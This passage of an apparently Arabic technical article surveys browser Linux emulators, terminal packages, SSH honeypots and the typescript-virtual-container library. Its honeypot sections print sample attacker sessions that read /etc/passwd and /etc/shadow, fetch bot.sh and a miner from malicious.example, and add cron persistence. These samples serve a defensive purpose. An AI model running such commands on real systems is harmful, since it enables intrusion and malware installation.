c2w ubuntu:22.04 out.wasm

# تشغيلها
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# أو خدمتها للاستخدام في المتصفح
c2w --to-js ubuntu:22.04 /tmp/htdocs/

ملف .wasm الناتج كبير -- Ubuntu مصغر يبلغ عدة مئات من الميغابايتات -- لكنه مستقل تمامًا. يمكنك إرسال .wasm بالبريد الإلكتروني لشخص ما ويمكنه تشغيل Ubuntu في متصفحه. هذه الجملة لا يجب أن يكون لها معنى لكننا هنا.

GitHub: container2wasm/container2wasm


ملخص عائلة المحاكيات

| | v86 | JSLinux/TinyEMU | jor1k | CheerpX | WebContainers | container2wasm | |---|---|---|---|---|---|---|---| | المعمارية | x86-32 JIT→Wasm | RISC-V (Wasm) | OR1K (JS) | x86 (خاص) | Node.js→Wasm/WASI | x86/RISC-V (Wasm) | | نواة حقيقية | ✅ | ✅ | ✅ | ✅ | ❌ (Node.js) | ✅ | | 64-bit | ❌ | ✅ (RISC-V) | ❌ | ✅ | غير متاح | ✅ | | حزمة npm | ✅ | ❌ | ❌ | CDN/API | ✅ | ❌ (أداة CLI) | | استخدام Node.js | ✅ | ❌ | ❌ | ❌ | ❌ (متصفح فقط) | عبر Wasmtime | | استخدام المتصفح | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | RAM/instance | 150-256 ميغابايت | ~64-128 ميغابايت | ~64 ميغابايت | 200+ ميغابايت | ~100 ميغابايت | ~200-500 ميغابايت | | وقت الإقلاع | 15-40 ث | 10-30 ث | 10-30 ث | 15-40 ث | 2-5 ث | 10-40 ث | | مفتوح المصدر | ✅ | ✅ | ✅ | ❌ | جزئي | ✅ | | الحالة | ✅ نشط جدًا | ✅ مستقر | ⚠️ مؤرشف | ✅ تجاري | ✅ نشط | ✅ نشط |

ما يبرز في هذا الجدول: v86 هو الوحيد الذي هو حزمة npm، ويعمل في كل من المتصفح و Node، وهو مفتوح المصدر. لهذا يهيمن على المحادثة حول "محاكيات Linux في JavaScript". كل شيء آخر له عيب -- JSLinux ليس لديه API، jor1k مؤرشف، CheerpX يكلف مالاً، WebContainers متصفح فقط ومخصص لـ Node، container2wasm يحتاج خطوة بناء و CLI. إذا كنت تحتاج فقط إلى "تشغيل Linux في JavaScript"، فإن v86 هو دائمًا نقطة البداية الصحيحة تقريبًا.


الجزء 3 -- حزم الطرفية: xterm.js و node-pty

حزمتان تظهران باستمرار عندما يبني الناس تجارب تشبه الشل. إنها ليست صناديق رمل أو محاكيات -- إنها سباكة UI و PTY -- لكنها مرتبطة جدًا لدرجة أنني سأشعر بالسوء إذا تركتها خارجًا. أيضًا، استخدمتهما كلاهما وهما جيدان حقًا.

3.1 xterm.js -- عرض الطرفية

xterm.js هو محاكي طرفية للمتصفح. يعرض شاشة طرفية (تسلسلات هروب VT100/xterm) في عنصر <canvas>، ويتعامل مع إدخال لوحة المفاتيح، ويكشف API لتوجيه البيانات.

مستخدم بواسطة: الطرفية المدمجة في VS Code، Azure Cloud Shell، Proxmox VE، AWS CloudShell، وغيرها الكثير.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// إرسال بيانات إلى الطرفية (تُعرض كنص)
term.write("$ ");
term.onData(data => {
  // data هي ضغطات المفاتيح -- أرسلها إلى الخلفية
  socket.send(data);
});
socket.onmessage(msg => {
  // إخراج من الخلفية -- اعرضه
  term.write(msg.data);
});

xterm.js هو فقط طبقة العرض. لا يشغل شل. لا يفسر الأوامر. إنه عنصر واجهة عرض تقوم بتوصيله بالخلفية التي تختارها. الكثير من الناس يعتقدون أن xterm.js "يفعل الطرفية" لكنه حقًا مجرد الشاشة -- ما زلت بحاجة لتوصيله بشيء ينفذ الأوامر فعليًا.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- إنشاء PTY

node-pty ينشئ طرفية زائفة (PTY) في Node.js ويعطيك مقبض قراءة/كتابة عليه. يُستخدم مع xterm.js، يسمح ببناء طرفية متصفح تتحدث إلى شل حقيقي (bash، zsh، fish) يعمل على الخادم.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // إرسال إلى xterm.js في المتصفح عبر WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // تمرير ضغطات المفاتيح من المتصفح إلى الشل
  shell.write(data);
});

هذا هو النمط القياسي لـ IDEs السحابية والطرفيات الويب: xterm.js (متتصفح) ↔ WebSocket ↔ node-pty ↔ bash حقيقي. لا عزل. الشل يعمل بكل صلاحيات عملية Node.js (أو المستخدم الذي يشغله).

يُصان بواسطة: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


الجزء 4 -- مصائد التفاعل SSH

مصائد التفاعل مصممة لتُهاجم. الهدف هو أن تبدو حقيقية بما يكفي ليتفاعل معها المهاجمون، مع تسجيل كل ما يفعلونه لاستخبارات التهديدات. SSH هو الهدف الرئيسي لأنه الخدمة الأكثر هجومًا على الإنترنت -- إذا كشفت المنفذ 22 على IP عام، سترى محاولات مسح آلية في غضون دقائق حرفيًا. جربها يومًا ما، إنه أمر مروع حقًا بمدى سرعة حدوثه.

جودة مصيدة التفاعل تُقاس بشيئين: الدقة (مدى إقناعها في تقليد نظام حقيقي) و القياس عن بعد (كمية البيانات المفيدة التي تلتقطها). هذان الشيئان في توتر. مصيدة تفاعل عالية الدقة أصعب في البناء وأكثر خطورة في التشغيل.

هذا القسم هو ما قادني في النهاية لبناء وحدة HoneyPot في typescript-virtual-container، لذا لدي بعض الآراء هنا.

4.1 Cowrie -- المعيار الذهبي

Cowrie هي مصيدة تفاعل SSH و Telnet بمستوى تفاعل متوسط إلى عالي مبنية بلغة Python. إنها مصيدة تفاعل SSH الأكثر انتشارًا في مجتمع البحث والأمن.

المعمارية:

  • طبقة البروتوكول: تطبيق حقيقي لبروتوكول SSH (Twisted Conch)، لذا المهاجمون لديهم مصافحة حقيقية، تبادل مفاتيح حقيقي، مصادقة حقيقية
  • طبقة الشل: نظام ملفات زائف (يشبه Debian 5.0) ومفسر شل جزئي يستجيب للأوامر الشائعة
  • وضع الوكيل: يمكنه إعادة التوجيه إلى نظام حقيقي خلفه (وضع التفاعل العالي)، مع تسجيل كل ما يمر
  • وضع LLM (إضافة حديثة): يستخدم نموذج لغة لتوليد ردود ديناميكية للأوامر التي لا يعرفها -- نعم، Cowrie لديها الآن وضع ذكاء اصطناعي. نحن نعيش في زمن مجنون.
# ما تلتقطه Cowrie
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie تحفظ الملفات التي تم تنزيلها (عبر wget/curl/SFTP/SCP) لتحليل البرامج الضارة. تتكامل مع Splunk، Elasticsearch، ومنصات SIEM أخرى.

الدقة: متوسطة-عالية. مقنعة بما يكفي لخداع البوتات الآلية (التي تمثل 99% من مهاجمي SSH -- معظمهم مجرد نصوص غبية تجرب root/password). البشر المتطورون يمكنهم التعرف عليها عبر البصمة الرقمية، عادةً بسرعة.

اللغة: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- سلف Cowrie

Kippo هي مصيدة تفاعل SSH بمستوى تفاعل متوسط الأصلية التي كانت Cowrie مبنية عليها. نفس الفكرة الأساسية: بروتوكول SSH حقيقي، نظام ملفات زائف، شل جزئي. Cowrie حلت محلها بالكامل في هذه المرحلة -- Kippo مؤرشف ولا ينبغي لأحد استخدامه في 2026. مذكور هنا فقط للاكتمال التاريخي، حيث قد تراه مشارًا إليه في مقالات المدونات القديمة وأوراق الأمن.

GitHub: desaster/kippo -- مؤرشف


4.3 endlessh -- مصيدة التفاعل SSH التثبيطية

endlessh هي مصيدة تفاعل منحرفة: تبقي اتصالات SSH مفتوحة عن طريق بث بيانات الترحيب ببطء بمعدل 1 بايت في الثانية (أو أقل). عميل SSH يتصل بها سيبقى عالقًا إلى أجل غير مسمى -- لن يصل أبدًا إلى المصادقة لأن الخادم لا ينتهي أبدًا من إرسال الترحيب.

الهدف ليس استخبارات التهديدات بل حرمان الموارد المحض: شغل خيوط المسح للمهاجمين حتى لا يتمكنوا من الوصول إلى الأهداف الحقيقية بنفس السرعة. إنه بصراحة شيطاني بعض الشيء بالمعنى الجيد. لا تتعلم شيئًا من المهاجم -- أنت فقط تضيع وقته. هناك شيء مرضي بعمق في هذا.

// كل سلوك بروتوكول endlessh:
// أرسل: "SSH-2.0-OpenSSH_" ثم أضف ببطء أحرفًا عشوائية
// لا تغلق الاتصال أبدًا
// ماسح المهاجم ينتهي بعد N ثانية

لا يتم التقاط أي أوامر. لا يتم اختبار أي مصادقة. مجرد وقت اتصال.

مكتوب بلغة: C
GitHub: skeeto/endlessh


4.4 sshesame -- مصيدة التفاعل "دع الجميع يدخل"

sshesame يقبل كل اتصالات SSH (أي مستخدم، أي كلمة مرور، أي مفتاح) ويسجل كل شيء. إنها مصيدة تفاعل صفرية: لا يستجيب للأوامر، فقط يترك المهاجمين "يدخلون" ويسجل كل ضغطة مفتاح يكتبونها.

2024-01-15 03:22:11 اتصال من 45.33.32.156
  المستخدم: root، كلمة المرور: password123 -- مقبول
  الأوامر المكتوبة:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  تم قطع الاتصال بعد 47 ثانية

مفيد لجمع بيانات الاعتماد: تجمع بسرعة أسماء المستخدمين وكلمات المرور التي تجربها البوتات، مما يخبرك أي بيانات اعتماد افتراضية يتم اختراقها بنشاط حاليًا. المفسد: إنها دائمًا root/password، وadmin/admin، وroot/123456. في كل مرة.

GitHub: jaksi/sshesame


4.5 Lyrebird -- إطار مصيدة تفاعل قائم على Docker

lyrebird/honeypot-base هي صورة Docker أساسية لبناء مصائد تفاعل لخدمات الشبكة. إنها ليست مصيدة تفاعل SSH تحديدًا -- إنها إطار لبناء مصائد تفاعل لأي بروتوكول.

الصورة الأساسية توفر إطار تسجيل، ونظام إضافات للبروتوكولات، وتكوينات Docker Compose لمصائد تفاعل متعددة الخدمات. تمددها لمحاكاة خدمات محددة.

Docker Hub: lyrebird/honeypot-base


4.6 بناء مصيدة تفاعل SSH في Node.js -- الطريقة الساذجة، ولماذا تفشل

قبل typescript-virtual-container، بناء مصيدة تفاعل SSH في Node.js كان يعني دمج مكتبة ssh2 الحقيقية مع محاكاة يدوية للأوامر. ممل جدًا، غير مكتمل جدًا، لكن... إنها مرحلة إجبارية في هذه المرحلة:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // تسجيل المحاولة
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // دع الجميع يدخل
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // رد محاكى
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

هذا "يعمل" بمعنى أنه يلتقط بيانات الاعتماد والأوامر. لكنه خطأ بشكل واضح بمجرد أن يحفر مهاجم متطور قليلاً. uname -a يعيد السلسلة الصحيحة لكن ls /etc يعيد "command not found" -- هذا يبدو كفخ. نظام الملفات غير موجود. الأوامر لا تتسلسل. الأنابيب لا تعمل. المتغيرات لا تتمدد.

مهاجم كفؤ سيكتشف مصيدة التفاعل الخاصة بك في أول خمس أوامر. النصوص الآلية التي تبحث عن سلوك يشبه Cowrie ستكتشفه أيضًا فورًا. هذا على ما يبدو هو ما دفع مؤلفة typescript-virtual-container لبناء شيء يفسر الأوامر فعليًا بشكل حقيقي -- المزيد عن ذلك في الجزء 5.


ملخص عائلة مصائد التفاعل

| | Cowrie | Kippo | endlessh | sshesame | Lyrebird | Naïf ssh2 | |---|---|---|---|---|---|---|---| | مستوى التفاعل | متوسط-عالٍ | متوسط | صفري | صفري | متغير | منخفض | | بروتوكول SSH حقيقي | ✅ | ✅ | ❌ (تثبيطي) | ✅ | متغير | ✅ | | دقة الشل | متوسطة | متوسطة | غير متاح | لا شيء | متغير | ضئيلة | | التقاط بيانات الاعتماد | ✅ | ✅ | ❌ | ✅ | ✅ | ✅ | | التقاط الأوامر | ✅ | ✅ | ❌ | ✅ | متغير | ✅ | | التقاط البرامج الضارة | ✅ | ✅ | ❌ | ❌ | ❌ | ❌ | | تكامل SIEM | ✅ أصلي | ❌ | ❌ | ❌ | ❌ | يدوي | | ردود LLM | ✅ (جديد) | ❌ | ❌ | ❌ | ❌ | ❌ | | اللغة | Python | Python | C | Go | Docker | Node.js | | Node.js أصلي | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | الحالة | ✅ نشط جدًا | ⚠️ مؤرشف | ✅ نشط | ✅ نشط | ✅ نشط | DIY |

النمط هنا واضح جدًا: كلما أردت دقة أعلى، كلما كان عليك كتابة المزيد من Python. Cowrie هي الفائز بلا منازع إذا كنت تفعل هذا بجدية -- لقد تم اختبارها ميدانيًا لسنوات وتلتقط أكثر بكثير من مجرد بيانات اعتماد. endlessh و sshesame هما مشاريع لطيفة أكثر من كونهما أدوات جادة لاستخبارات التهديدات. والنهج الساذج في Node.js قد يوصلك إلى 20% من الطريق قبل أن تصطدم بجدار.


الجزء 5 -- typescript-virtual-container : ما يسد الفجوة

حسنًا هنا تصبح الأمور مثيرة. بعد فهرسة جميع العائلات أعلاه، يصبح الربع المفقود واضحًا جدًا:

  • صناديق رمل JS: تعزل الكود، لا شل، لا نظام ملفات، لا SSH
  • محاكيات Linux: OS حقيقي، شل حقيقي، SSH حقيقي... لكن 150+ ميغابايت RAM، 30 ثانية إقلاع، وعليك بناء API الخاص بك فوق I/O التسلسلي
  • مصائد التفاعل: شل زائف، لا API قابل للبرمجة، Python/Go/C، ليس Node أصلي

لم يبني أحد بيئة Linux كاملة، قابلة للبرمجة، أصلية لـ Node، مع SSH حقيقي، وصلاحيات حقيقية، وشبكة افتراضية حقيقية، وAPI TypeScript مقيدة. لذا قامت ببنائه.

مقدمة صغيرة لأنها المرة الأولى التي أذكرها بشكل صحيح: typescript-virtual-container بنته Chloé Rolzhausen، مطورة فرنسية تُعرف باسم Fortune (أو ItsRealFortune) على الإنترنت. يمكنك العثور عليها على موقعها وعلى LinkedIn. المشروع بأكمله -- 56,000 سطر من TypeScript، 247 ملفًا، 170 أمرًا -- كان جهدًا فرديًا لشخص واحد. سأناديها Fortune لبقية المقال. ونعم، هذا شيء مجنون. اذهب وألق نظرة على عملها!

ما هو حقًا

typescript-virtual-container هو مقلد بيئة Linux مكتوب بلغة TypeScript نقية. لا Wasm. لا إضافات أصلية. لا نواة. ~56,000 سطر من المصدر موزعة على 247 ملف TypeScript.

البصيرة الرئيسية: أنت لست بحاجة إلى محاكي CPU لتشغيل ls /etc | grep passwd. أنت بحاجة إلى:

  1. شجرة عُقد في الذاكرة تستجيب لعمليات المسار
  2. نموذج صلاحيات POSIX مُطبق على كل وصول
  3. محلل شل يفهم الأنابيب، وإعادة التوجيه، والأصداف الفرعية، وتوسيع المتغيرات
  4. ~170 تطبيق أمر (دوافع، ليست برامج ثنائية)
  5. نظام إدارة المستخدمين والمجموعات
  6. شيء لكشف كل هذا عبر SSH

كل هذا قابل للتحقيق في TypeScript نقية دون أي إشراك للنواة.

VirtualFileSystem

VFS هو شجرة في الذاكرة من العقد المُصنفة -- لا I/O قرص إلا إذا قمت بتمكين وضع الاستمرارية "fs" صراحةً:

// تمثيل داخلي مبسط
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder يُحمّل بتكاسل

كل عملية مسار تمر عبر normalizePath (تحل .، ..، الروابط الرمزية) و enforceAccess (تتحقق من صلاحيات القراءة/الكتابة/التنفيذ بالنسبة لـ uid/gid للطالب). chmod، chown، الـ sticky bits و setuid كلها منفذة ومطبقة فعليًا. إذا حاولت عملية تعمل كـ uid 1000 قراءة ملف مملوك لـ root بالوضع 0600، تحصل على EACCES -- ليس EACCES مزيفًا، بل Error حقيقية في JavaScript تُرمى من فحص الصلاحية. هذا الجزء أنيق جدًا بصراحة.

VFS يسلسل إلى:

  • .vfsb -- تنسيق ثنائي مضغوط (مخصص، مع ضغط fflate) -- هذا هو التنسيق الافتراضي
  • لقطة JSON -- قابلة للقراءة البشرية، جيدة لتصحيح الأخطاء
  • أرشيف TAR -- استيراد/تصدير مع تنسيق tar الحقيقي، لذا يمكنك tar -xf شيء ما و VFS لديه فقط... تلك الملفات
  • صورة SquashFS -- استيراد للقراءة فقط

في وضع الاستمرارية "fs"، يحتفظ بسجل كتابة مسبق (WAL) للاسترداد بعد الانهيار -- الكتابات تذهب أولاً إلى السجل، ثم إلى اللقطة عند المسح. إذا تعطل Node في منتصف عملية، السجل يسمح لك بإعادة بناء آخر حالة كاملة.

هناك أيضًا طبقة FileCache تحاكي زمن وصول I/O القرص. تقوم بتكوين ملفات شخصية مثل NVME_DISK_IO أو HDD_DISK_IO ويؤخر VFS عمليات الملفات بشكل مصطنع لتتوافق مع توقيتات واقعية. وهو أمر مضحك -- برنامج يبطئ نفسه عمدًا لمحاكاة الأجهزة -- لكنه مفيد جدًا في الواقع للمعايير.

مفسر الشل

محلل الشل ينتج AST مصنف:

// "ls /etc | grep root && echo done" يُحلل إلى:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

المنفذ يجتاز هذا AST:

  • للـ pipeline، ينشئ سلسلة تدفقات { stdin, stdout, stderr } وينفذ كل أمر مع I/O موصول
  • للعوامل المنطقية (&&، ||)، يتحقق من $? بعد الجانب الأيسر قبل تنفيذ الأيمن
  • للأصداف الفرعية ($(...)، ` `)، يتفرع عن سياق التنفيذ
  • لإعادة التوجيه (>ملف، >>ملف، 2>&1، <ملف)، يضبط توصيل التدفقات قبل التنفيذ
  • لمهام الخلفية (cmd &)، ينفذ دون انتظار الانتهاء
  • للمتغيرات، يوسع $VAR، ${VAR:-default}، ${#VAR}، والحساب $((expr))
  • لتوسيع الأقواس ({a,b,c}، {1..5})، يولد قائمة التوسيع الكاملة قبل التنفيذ

كل هذا هو سلوك POSIX shell حقيقي. المحلل يتعامل مع heredocs، واستبدال العملية، والـ globbing (*، ?، [abc])، وإدارة علامات الاقتباس (اقتباس مفرد، اقتباس مزدوج مع interpolation، الهروب بالـ backslash). ليس مثاليًا -- حالات حدودية موجودة -- لكنه يتجاوز بكثير ما تتوقعه من مشروع TypeScript.

~170 أمرًا مدمجًا

الأوامر هي دوال TypeScript مسجلة في سجل الأوامر. تستقبل CommandContext مع تدفقات stdin/stdout/stderr، وVFS، وجلسة المستخدم، وبيئة الشل، والوصول إلى الوحدات الفرعية.

كتابة 170 تطبيقًا لأوامر Unix هي... الكثير. بعضها تافه (echo، true، false)، بعضها معقد بشكل مدهش (awk، find، tar). مثل، awk كامل متوافق مع POSIX؟ في TypeScript؟ هذا جنون بصراحة. إليك عينة مما هو موجود:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (جانب العميل، اتصال صادر),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (محرر تفاعلي كامل), vim (أساسي), vi (أساسي),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (محاكى), systemctl (stub), journalctl (stub),
...وحوالي 130 آخرين

الـ "stubs" (git، python3، node) تستجيب بشكل واقعي للاستدعاءات الشائعة -- python3 --version يعيد سلسلة إصدار معقولة، git status يظهر حالة مستودع وهمي -- دون القيام بعمل حقيقي. لمصيدة تفاعل، هذه في الواقع أكثر فائدة من الأوامر الحقيقية، لأنها تسمح لك بمراقبة ما يحاول المهاجمون تشغيله دون تشغيل أي شيء خطير.

خادم SSH

طبقة SSH تستخدم حزمة npm الحقيقية ssh2 -- بروتوكول SSH حقيقي، تبادل مفاتيح حقيقي، تشفير حقيقي. SSHMimic يغلفها:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH حقيقي: ssh -p 2222 root@localhost
// SFTP حقيقي: sftp -P 2222 root@localhost
// SCP حقيقي: scp -P 2222 file root@localhost:/tmp/

shellProperties تحدد ما يبلغ عنه uname -a، lsb_release -a، neofetch، /proc/version، و /etc/os-release. يمكنك تقليد أي توزيعة Linux وإصدار نواة بشكل مقنع -- لعميل SSH حقيقي، لا توجد حرفيًا طريقة لمعرفة الفرق.

وحدة HoneyPot

لأن مفسر الشل حقيقي وخادم SSH حقيقي، أوامر المهاجمين تُنفذ فعليًا في البيئة الافتراضية. طلبات wget التي يطلقها المهاجم تُسجل مع عناوين URL الوجهة. الملفات التي ينشئها المهاجم تُحفظ في VFS. محاولات تصعيد الصلاحيات من المهاجم تنتج أخطاء واقعية.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// بعد جلسة، حساب الفرق في نظام الملفات
const before = shell.vfs.toSnapshot();
// ... جلسة المهاجم ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

هذا مختلف نوعيًا عن Cowrie. نظام الملفات الزائف لـ Cowrie يمكنه الرد على ls لكنه لا يمكنه فعليًا تتبع الملفات التي أنشأها المهاجم والتعديلات التي أجراها كفرق منظم. typescript-virtual-container يمكنه ذلك، لأن VFS هو بنية بيانات حية -- كل كتابة مُتتبعة. إدخال cron الذي أضافه المهاجم للتو؟ إنه في الفرق. مجلد .hidden ذلك؟ في الفرق. مفيد جدًا لتحليل البرامج الضارة.

حزمة الشبكة الافتراضية

هذا ربما الجزء الأكثر إثارة للإعجاب في المشروع بأكمله، وليس له مثيل في أي مشروع آخر في هذا المجال. مثل، حزمة شبكة افتراضية L2/L3 كاملة مع دعم VPN، مكتوبة بلغة TypeScript نقية، دون أي بطاقة شبكة حقيقية. هذا حقًا شيء مجنون.

VirtualNetworkManager يعطي كل instance VirtualShell واجهات شبكة افتراضية بعناوين IP قابلة للتكوين، وجداول توجيه، وجدار ناري برمجي (قواعد على غرار iptables مع conntrack و NAT). ip addr، ip route، iptables -L، netstat -rn كلها تظهر حالة الشبكة الافتراضية.

VirtualSwitch (اسمه Baie -- من الكلمة الفرنسية لخادم الرف، "baie informatique") يربط عدة شل على شبكة فرعية مشتركة. ينفذ:

  • تعلم MAC و ARP
  • توجيه IP بين الشبكات الفرعية
  • NAT (إخفاء صادر)
  • DNS (سجلات قابلة للتكوين لكل شبكة فرعية)
  • موازنة التحميل (round-robin، أقل اتصالات)
  • تشكيل المرور: زمن الوصول، التذبذب (توزيع غاوسي)، فقدان الحزمة، فقدان بالدفعات، إعادة الترتيب، التكرار
  • تحديد عرض النطاق (دلو الرمز المميز)
  • تطبيق MTU
  • تتبع الاتصال (مع الحالة، حالات NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// ثلاث آلات افتراضية على نفس المبدل
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// جدار ناري: web يمكنه الوصول إلى api، api يمكنه الوصول إلى db، web لا يمكنه الوصول إلى db مباشرة
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// تشكيل المرور: محاكاة رابط WAN غير مستقر إلى الخارج
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn ينشئ أنفاقًا مشفرة بين instances Baie -- يمكنك محاكاة شبكة متعددة المواقع مع اتصالات VPN بين المواقع.

VirtualProxy ينفذ إعادة توجيه المنافذ ووكيل SOCKS5.

لا شيء من هذا يلمس بطاقة شبكة حقيقية. إنه كله توجيه كائنات TypeScript. أمر ping "يعمل" عن طريق التوجيه عبر المبدل الافتراضي وإعادة ردود ICMP محاكاة. curl http://192.168.0.3/api يوجه عبر الشبكة الافتراضية، يصل إلى رد HTTP المحاكى لشل api، ويعيد المحتوى. إنه سلاحف حتى القاع، بأفضل معنى ممكن.

SandboxedShell

للاستخدام البرمجي حيث تحتاج إلى عزل أقوى، SandboxedShell ينفذ جلسة شل في thread Worker Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% من نواة
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

العزل هنا يتم توفيره بواسطة طبقة VFS (شل thread worker يمكنه رؤية فقط نظام الملفات الافتراضي، أبدًا نظام الملفات المضيف) بالإضافة إلى عزل الذاكرة لـ thread Worker Node.js. هذا أخف من isolated-vm لكنه أكثر ملاءمة للعزل على مستوى الشل بدلاً من مستوى JS.

تحديد الموارد

يمكنك تكوين حدود موارد لكل شل تؤثر على ما تبلغ عنه أوامر مراقبة النظام:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

داخل هذا الشل، free -m يظهر 512 ميغابايت من RAM الإجمالية. nproc يعيد 2. /proc/meminfo يظهر القيم المحددة. htop و top يظهران عدد CPU المحدد. هذا يسمح لك بتعيين البصمة المادية للآلة المحاكاة بدقة.

ثلاثة أوضاع نشر

Mode 1 : خادم SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → بروتوكول SSH حقيقي، SFTP حقيقي، SCP حقيقي
  → حالات الاستخدام: مصائد التفاعل، بيئات اختبار عن بعد، مختبرات تدريب

Mode 2 : شل ويب (متصفح)
  builds/fortune-nyx-v1.7.8-web.min.js (حزمة ESM)
  → يعمل في المتصفح، VFS مستمر في IndexedDB
  → حالات الاستخدام: دروس تفاعلية، طرفيات مدمجة، عروض توضيحية
  → مكافأة: يشغل startxfce4 لسطح مكتب XFCE كامل محاكى

Mode 3 : CLI مستقل
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (ملف واحد، لا تثبيت)
  → curl وتشغيل، VFS مستمر في مجلد .vfs/
  → حالات الاستخدام: عروض سريعة، تجارب محلية

الـ polyfills -- كيف يعمل بناء المتصفح بدون Wasm

حسنًا هذا هو الجزء الذي أجده ذكيًا حقًا وأردت تسليط الضوء عليه بشكل خاص.

تشغيل مكتبة Node.js في المتصفح عادةً ما يكون كابوسًا. إما تستخدم بيئة Wasm (ثقيلة، بطيئة في التحميل)، أو تقضي أسابيع في استبدال كل import node:* يدويًا ببديل متوافق مع المتصفح. Fortune فعلت الشيء الثاني -- لكن بشكل نظيف جدًا، بكتابة مجموعة من polyfills مخصصة تعيش في مجلد polyfills/ من المستودع.

خط أنابيب البناء هو مجرد esbuild مع مجموعة من إدخالات alias:

// demo/build.js -- كل تكوين بناء المتصفح
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
